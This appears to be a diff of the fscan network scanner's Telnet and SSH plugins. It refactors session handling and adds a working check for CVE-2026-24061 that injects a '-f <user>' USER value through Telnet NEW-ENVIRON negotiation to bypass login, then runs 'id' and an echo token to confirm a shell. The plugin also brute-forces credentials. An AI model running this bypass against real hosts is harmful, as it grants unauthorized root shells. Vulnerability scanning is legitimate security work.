common.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Type: plugins.ResultTypeService,
|
Type: plugins.ResultTypeService,
|
||||||
@@ -247,7 +245,6 @@ func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "ssh",
|
Service: "ssh",
|
||||||
|
|||||||
+307
-38
@@ -4,9 +4,11 @@ package services
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
"crypto/rand"
|
||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
@@ -16,14 +18,26 @@ import (
|
|||||||
|
|
||||||
// Telnet协议时间常量
|
// Telnet协议时间常量
|
||||||
const (
|
const (
|
||||||
telnetReadDelay = 200 * time.Millisecond // 读取间隔延迟
|
telnetReadDelay = 200 * time.Millisecond // 读取间隔延迟
|
||||||
telnetRetryDelay = 500 * time.Millisecond // 重试延迟
|
telnetRetryDelay = 500 * time.Millisecond // 重试延迟
|
||||||
telnetAuthDelay = 1000 * time.Millisecond // 认证后等待延迟
|
telnetAuthDelay = 1000 * time.Millisecond // 认证后等待延迟
|
||||||
telnetReadTimeout = 2 * time.Second // 读取超时
|
telnetReadTimeout = 2 * time.Second // 读取超时
|
||||||
telnetBannerTimeout = 3 * time.Second // Banner读取超时
|
telnetBannerTimeout = 3 * time.Second // Banner读取超时
|
||||||
telnetRCECmdTimeout = 5 * time.Second // RCE命令执行超时
|
telnetRCECmdTimeout = 5 * time.Second // RCE命令执行超时
|
||||||
telnetRCEExtraTimeout = 10 * time.Second // RCE验证额外超时
|
telnetRCEExtraTimeout = 10 * time.Second // RCE验证额外超时
|
||||||
telnetMaxAttempts = 10 // 最大尝试次数
|
telnetMaxAttempts = 10 // 最大尝试次数
|
||||||
|
)
|
||||||
|
|
||||||
|
// CVE-2026-24061 Telnet NEW-ENVIRON 选项常量
|
||||||
|
const (
|
||||||
|
telnetIAC = 0xFF // Telnet Interpret As Command
|
||||||
|
telnetSB = 0xFA // Subnegotiation Begin
|
||||||
|
telnetSE = 0xF0 // Subnegotiation End
|
||||||
|
telnetNEWENVIRON = 39 // NEW-ENVIRON option
|
||||||
|
telnetDO = 0xFD // DO
|
||||||
|
telnetDONT = 0xFE // DONT
|
||||||
|
telnetWILL = 0xFB // WILL
|
||||||
|
telnetWONT = 0xFC // WONT
|
||||||
)
|
)
|
||||||
|
|
||||||
// TelnetPlugin Telnet扫描插件
|
// TelnetPlugin Telnet扫描插件
|
||||||
@@ -37,18 +51,19 @@ func NewTelnetPlugin() *TelnetPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(ctx, info, config, state)
|
return p.identifyService(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检测未授权访问
|
// 检测未授权访问
|
||||||
if result := p.testUnauthAccess(ctx, info, config, state); result != nil && result.Success {
|
if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success {
|
||||||
common.LogVuln(i18n.Tr("telnet_service", target, result.Banner))
|
common.LogVuln(i18n.Tr("telnet_service", target, result.Banner))
|
||||||
// 验证命令执行能力
|
// 验证命令执行能力
|
||||||
if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", config, state); ok {
|
if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", session); ok {
|
||||||
common.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence))
|
common.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence))
|
||||||
}
|
}
|
||||||
return result
|
return result
|
||||||
@@ -70,16 +85,21 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *
|
|||||||
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CVE-2026-24061: 并发检测 Telnetd Authentication Bypass 漏洞
|
||||||
|
if cveResult := p.checkCVE202624061Concurrent(ctx, info, session, config); cveResult != nil {
|
||||||
|
return cveResult
|
||||||
|
}
|
||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, session)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "telnet", testConfig)
|
result := TestCredentialsConcurrently(ctx, creds, authFn, "telnet", testConfig)
|
||||||
|
|
||||||
if result.Success {
|
if result.Success {
|
||||||
common.LogVuln(i18n.Tr("telnet_credential", target, result.Username, result.Password))
|
common.LogVuln(i18n.Tr("telnet_credential", target, result.Username, result.Password))
|
||||||
// 验证命令执行能力
|
// 验证命令执行能力
|
||||||
if ok, osType, evidence := p.verifyCommandExecution(ctx, info, result.Username, result.Password, config, state); ok {
|
if ok, osType, evidence := p.verifyCommandExecution(ctx, info, result.Username, result.Password, session); ok {
|
||||||
common.LogVuln(i18n.Tr("telnet_credential_rce", target, result.Username, result.Password, osType, evidence))
|
common.LogVuln(i18n.Tr("telnet_credential_rce", target, result.Username, result.Password, osType, evidence))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -88,22 +108,21 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *
|
|||||||
}
|
}
|
||||||
|
|
||||||
// createAuthFunc 创建Telnet认证函数
|
// createAuthFunc 创建Telnet认证函数
|
||||||
func (p *TelnetPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
func (p *TelnetPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
|
||||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||||
return p.doTelnetAuth(ctx, info, cred, config, state)
|
return p.doTelnetAuth(ctx, info, cred, session)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// doTelnetAuth 执行Telnet认证
|
// doTelnetAuth 执行Telnet认证
|
||||||
func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
resultChan := make(chan *AuthResult, 1)
|
resultChan := make(chan *AuthResult, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- &AuthResult{
|
resultChan <- &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: classifyTelnetErrorType(err),
|
ErrorType: classifyTelnetErrorType(err),
|
||||||
@@ -112,10 +131,9 @@ func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo,
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
|
||||||
|
|
||||||
if p.performTelnetAuth(conn, cred.Username, cred.Password) {
|
if p.performTelnetAuth(conn, cred.Username, cred.Password) {
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
resultChan <- &AuthResult{
|
resultChan <- &AuthResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Conn: &telnetConnWrapper{conn},
|
Conn: &telnetConnWrapper{conn},
|
||||||
@@ -124,7 +142,6 @@ func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo,
|
|||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- &AuthResult{
|
resultChan <- &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: ErrorTypeAuth,
|
ErrorType: ErrorTypeAuth,
|
||||||
@@ -192,21 +209,20 @@ func classifyTelnetErrorType(err error) ErrorType {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// testUnauthAccess 测试Telnet未授权访问
|
// testUnauthAccess 测试Telnet未授权访问
|
||||||
func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
resultChan := make(chan *ScanResult, 1)
|
resultChan := make(chan *ScanResult, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- nil
|
resultChan <- nil
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
|
||||||
|
|
||||||
buffer := make([]byte, 1024)
|
buffer := make([]byte, 1024)
|
||||||
attempts := 0
|
attempts := 0
|
||||||
@@ -229,7 +245,6 @@ func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostIn
|
|||||||
p.handleIACNegotiation(conn, buffer[:n])
|
p.handleIACNegotiation(conn, buffer[:n])
|
||||||
|
|
||||||
if p.isShellPrompt(cleaned) {
|
if p.isShellPrompt(cleaned) {
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
resultChan <- &ScanResult{
|
resultChan <- &ScanResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Type: plugins.ResultTypeVuln,
|
Type: plugins.ResultTypeVuln,
|
||||||
@@ -489,15 +504,14 @@ func (p *TelnetPlugin) isLoginFailed(data string) bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// identifyService Telnet服务识别
|
// identifyService Telnet服务识别
|
||||||
func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
resultChan := make(chan *ScanResult, 1)
|
resultChan := make(chan *ScanResult, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- &ScanResult{
|
resultChan <- &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "telnet",
|
Service: "telnet",
|
||||||
@@ -507,12 +521,11 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf
|
|||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
|
||||||
|
|
||||||
buffer := make([]byte, 2048)
|
buffer := make([]byte, 2048)
|
||||||
n, err := conn.Read(buffer)
|
n, err := conn.Read(buffer)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- &ScanResult{
|
resultChan <- &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "telnet",
|
Service: "telnet",
|
||||||
@@ -521,8 +534,6 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
|
|
||||||
p.handleIACNegotiation(conn, buffer[:n])
|
p.handleIACNegotiation(conn, buffer[:n])
|
||||||
cleaned := p.cleanResponse(string(buffer[:n]))
|
cleaned := p.cleanResponse(string(buffer[:n]))
|
||||||
cleanedLower := strings.ToLower(cleaned)
|
cleanedLower := strings.ToLower(cleaned)
|
||||||
@@ -574,7 +585,7 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf
|
|||||||
}
|
}
|
||||||
|
|
||||||
// verifyCommandExecution 验证Telnet命令执行能力(RCE检测)
|
// verifyCommandExecution 验证Telnet命令执行能力(RCE检测)
|
||||||
func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common.HostInfo, username, password string, config *common.Config, state *common.State) (bool, string, string) {
|
func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common.HostInfo, username, password string, session *common.ScanSession) (bool, string, string) {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
type rceResult struct {
|
type rceResult struct {
|
||||||
@@ -586,14 +597,14 @@ func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common.
|
|||||||
resultChan := make(chan rceResult, 1)
|
resultChan := make(chan rceResult, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
resultChan <- rceResult{}
|
resultChan <- rceResult{}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout + telnetRCEExtraTimeout))
|
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout + telnetRCEExtraTimeout))
|
||||||
|
|
||||||
// 需要认证时先登录
|
// 需要认证时先登录
|
||||||
if username != "" || password != "" {
|
if username != "" || password != "" {
|
||||||
@@ -747,6 +758,264 @@ func (p *TelnetPlugin) drainBuffer(conn net.Conn) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// checkCVE202624061Concurrent 并发检测多个用户,首个命中即返回
|
||||||
|
func (p *TelnetPlugin) checkCVE202624061Concurrent(ctx context.Context, info *common.HostInfo, session *common.ScanSession, config *common.Config) *ScanResult {
|
||||||
|
cveUsers := config.Credentials.Userdict["telnet"]
|
||||||
|
if len(cveUsers) == 0 {
|
||||||
|
cveUsers = []string{"root", "admin", "administrator"}
|
||||||
|
}
|
||||||
|
|
||||||
|
type cveHit struct {
|
||||||
|
user string
|
||||||
|
evidence string
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx, cancel := context.WithCancel(ctx)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
ch := make(chan cveHit, 1)
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
|
||||||
|
for _, user := range cveUsers {
|
||||||
|
wg.Add(1)
|
||||||
|
go func(u string) {
|
||||||
|
defer wg.Done()
|
||||||
|
if vuln, cveUser, evidence := p.checkCVE202624061(ctx, info, session, u); vuln {
|
||||||
|
select {
|
||||||
|
case ch <- cveHit{user: cveUser, evidence: evidence}:
|
||||||
|
cancel() // 通知其他 goroutine 停止
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}(user)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 等待全部完成后关闭 channel
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(ch)
|
||||||
|
}()
|
||||||
|
|
||||||
|
if hit, ok := <-ch; ok {
|
||||||
|
target := info.Target()
|
||||||
|
common.LogVuln(i18n.Tr("telnet_cve202624061", target, hit.user, hit.evidence))
|
||||||
|
return &ScanResult{
|
||||||
|
Success: true,
|
||||||
|
Type: plugins.ResultTypeVuln,
|
||||||
|
Service: "telnet",
|
||||||
|
Banner: fmt.Sprintf("CVE-2026-24061 Telnetd Authentication Bypass (user: %s)", hit.user),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// checkCVE202624061 检测 CVE-2026-24061 Telnetd Authentication Bypass 漏洞
|
||||||
|
// 利用 NEW-ENVIRON (option 39) 子协商注入恶意环境变量,实现认证绕过
|
||||||
|
// 返回 (是否漏洞, 触发用户名, 证据)
|
||||||
|
func (p *TelnetPlugin) checkCVE202624061(ctx context.Context, info *common.HostInfo, session *common.ScanSession, user string) (bool, string, string) {
|
||||||
|
conn, err := session.DialTCP(ctx, "tcp", info.Target(), session.Config.Timeout)
|
||||||
|
if err != nil {
|
||||||
|
return false, "", ""
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
chk := &cveChecker{
|
||||||
|
conn: conn,
|
||||||
|
user: user,
|
||||||
|
buf: make([]byte, 4096),
|
||||||
|
}
|
||||||
|
return chk.run()
|
||||||
|
}
|
||||||
|
|
||||||
|
// cveChecker CVE-2026-24061 检测器 (基于验证过的 POC 逻辑)
|
||||||
|
type cveChecker struct {
|
||||||
|
conn net.Conn
|
||||||
|
user string
|
||||||
|
exploitSent bool
|
||||||
|
buf []byte
|
||||||
|
}
|
||||||
|
|
||||||
|
// sendPayload 发送 NEW-ENVIRON 恶意环境变量 payload
|
||||||
|
func (e *cveChecker) sendPayload() {
|
||||||
|
payload := []byte{telnetIAC, telnetSB, telnetNEWENVIRON, 0, 0}
|
||||||
|
payload = append(payload, []byte("USER")...)
|
||||||
|
payload = append(payload, 1) // SEND indicator
|
||||||
|
payload = append(payload, []byte("-f "+e.user)...)
|
||||||
|
payload = append(payload, telnetIAC, telnetSE)
|
||||||
|
_, _ = e.conn.Write(payload)
|
||||||
|
e.exploitSent = true
|
||||||
|
}
|
||||||
|
|
||||||
|
// sendSubResp 响应服务端子协商请求
|
||||||
|
func (e *cveChecker) sendSubResp(opt byte, data []byte) {
|
||||||
|
resp := []byte{telnetIAC, telnetSB, opt, 0}
|
||||||
|
resp = append(resp, data...)
|
||||||
|
resp = append(resp, telnetIAC, telnetSE)
|
||||||
|
_, _ = e.conn.Write(resp)
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseIAC 解析 Telnet IAC 协商报文,返回非 IAC 数据部分
|
||||||
|
func (e *cveChecker) parseIAC(data []byte) []byte {
|
||||||
|
var output []byte
|
||||||
|
i := 0
|
||||||
|
for i < len(data) {
|
||||||
|
if data[i] != telnetIAC {
|
||||||
|
output = append(output, data[i])
|
||||||
|
i++
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
i++
|
||||||
|
if i >= len(data) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
cmd := data[i]
|
||||||
|
i++
|
||||||
|
if cmd == telnetIAC {
|
||||||
|
output = append(output, 0xFF) // IAC 转义
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// 子协商 (SB)
|
||||||
|
if cmd == telnetSB {
|
||||||
|
if i >= len(data) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
sbOpt := data[i]
|
||||||
|
i++
|
||||||
|
var sbData []byte
|
||||||
|
for i < len(data)-1 {
|
||||||
|
if data[i] == telnetIAC && data[i+1] == telnetSE {
|
||||||
|
i += 2
|
||||||
|
break
|
||||||
|
}
|
||||||
|
sbData = append(sbData, data[i])
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
// 服务端要求回显数据 (SEND indicator = 1)
|
||||||
|
if len(sbData) > 0 && sbData[0] == 1 {
|
||||||
|
switch sbOpt {
|
||||||
|
case 24:
|
||||||
|
e.sendSubResp(24, []byte("xterm"))
|
||||||
|
case 32:
|
||||||
|
e.sendSubResp(32, []byte("38400,38400"))
|
||||||
|
case telnetNEWENVIRON:
|
||||||
|
if !e.exploitSent {
|
||||||
|
e.sendPayload()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// DO/DONT/WILL/WONT 协商
|
||||||
|
if cmd == telnetDO || cmd == telnetDONT || cmd == telnetWILL || cmd == telnetWONT {
|
||||||
|
if i >= len(data) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
opt := data[i]
|
||||||
|
i++
|
||||||
|
switch cmd {
|
||||||
|
case telnetDO:
|
||||||
|
if opt == 24 || opt == 32 || opt == telnetNEWENVIRON {
|
||||||
|
_, _ = e.conn.Write([]byte{telnetIAC, telnetWILL, opt})
|
||||||
|
} else {
|
||||||
|
_, _ = e.conn.Write([]byte{telnetIAC, telnetWONT, opt})
|
||||||
|
}
|
||||||
|
case telnetWILL:
|
||||||
|
if opt == 1 || opt == 3 {
|
||||||
|
_, _ = e.conn.Write([]byte{telnetIAC, telnetDO, opt})
|
||||||
|
} else {
|
||||||
|
_, _ = e.conn.Write([]byte{telnetIAC, telnetDONT, opt})
|
||||||
|
}
|
||||||
|
case telnetWONT:
|
||||||
|
_, _ = e.conn.Write([]byte{telnetIAC, telnetDONT, opt})
|
||||||
|
case telnetDONT:
|
||||||
|
_, _ = e.conn.Write([]byte{telnetIAC, telnetWONT, opt})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output
|
||||||
|
}
|
||||||
|
|
||||||
|
// readAll 读取连接中的所有可用数据,deadline 控制等待上限
|
||||||
|
func (e *cveChecker) readAll(timeout time.Duration) []byte {
|
||||||
|
var out []byte
|
||||||
|
_ = e.conn.SetReadDeadline(time.Now().Add(timeout))
|
||||||
|
for {
|
||||||
|
n, err := e.conn.Read(e.buf)
|
||||||
|
if n > 0 {
|
||||||
|
out = append(out, e.parseIAC(e.buf[:n])...)
|
||||||
|
// 收到数据后缩短后续等待,快速收完尾包
|
||||||
|
_ = e.conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// genToken 生成 16 位随机验证 token
|
||||||
|
func (e *cveChecker) genToken() string {
|
||||||
|
b := make([]byte, 8)
|
||||||
|
_, _ = rand.Read(b)
|
||||||
|
return fmt.Sprintf("%x", b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// extractEvidence 从输出中提取包含关键词的完整行作为证据,清理 \r 控制字符
|
||||||
|
func (e *cveChecker) extractEvidence(data string, keywords []string) string {
|
||||||
|
for _, kw := range keywords {
|
||||||
|
for _, line := range strings.Split(data, "\n") {
|
||||||
|
line = strings.TrimSpace(strings.ReplaceAll(line, "\r", ""))
|
||||||
|
if line != "" && strings.Contains(line, kw) {
|
||||||
|
return "[" + line + "]"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// run 执行 CVE-2026-24061 检测流程
|
||||||
|
// 优先级: id 命令输出 > echo token 回显
|
||||||
|
func (e *cveChecker) run() (bool, string, string) {
|
||||||
|
// 阶段 1: IAC 协商(deadline 控制,不 sleep)
|
||||||
|
_ = e.conn.SetReadDeadline(time.Now().Add(3 * time.Second))
|
||||||
|
for {
|
||||||
|
n, err := e.conn.Read(e.buf)
|
||||||
|
if err != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
out := e.parseIAC(e.buf[:n])
|
||||||
|
if len(out) > 0 || e.exploitSent {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 协商未触发 exploit 则主动发送
|
||||||
|
if !e.exploitSent {
|
||||||
|
e.sendPayload()
|
||||||
|
e.readAll(500 * time.Millisecond) // 消费协商回包
|
||||||
|
}
|
||||||
|
|
||||||
|
// 阶段 2: id 命令检测
|
||||||
|
_, _ = e.conn.Write([]byte("id\n"))
|
||||||
|
idOutput := string(e.readAll(2 * time.Second))
|
||||||
|
|
||||||
|
evidence := e.extractEvidence(idOutput, []string{"uid=", "gid="})
|
||||||
|
if evidence != "" {
|
||||||
|
return true, e.user, evidence
|
||||||
|
}
|
||||||
|
|
||||||
|
// 阶段 3: echo token 验证
|
||||||
|
token := e.genToken()
|
||||||
|
_, _ = e.conn.Write([]byte("echo " + token + "\n"))
|
||||||
|
result := string(e.readAll(1500 * time.Millisecond))
|
||||||
|
stripped := strings.Replace(result, "echo "+token, "", 1)
|
||||||
|
if strings.Contains(stripped, token) {
|
||||||
|
return true, e.user, "[echo " + token + "]"
|
||||||
|
}
|
||||||
|
|
||||||
|
return false, "", ""
|
||||||
|
}
|
||||||
|
|
||||||
func init() {
|
func init() {
|
||||||
RegisterPluginWithPorts("telnet", func() Plugin {
|
RegisterPluginWithPorts("telnet", func() Plugin {
|
||||||
return NewTelnetPlugin()
|
return NewTelnetPlugin()
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user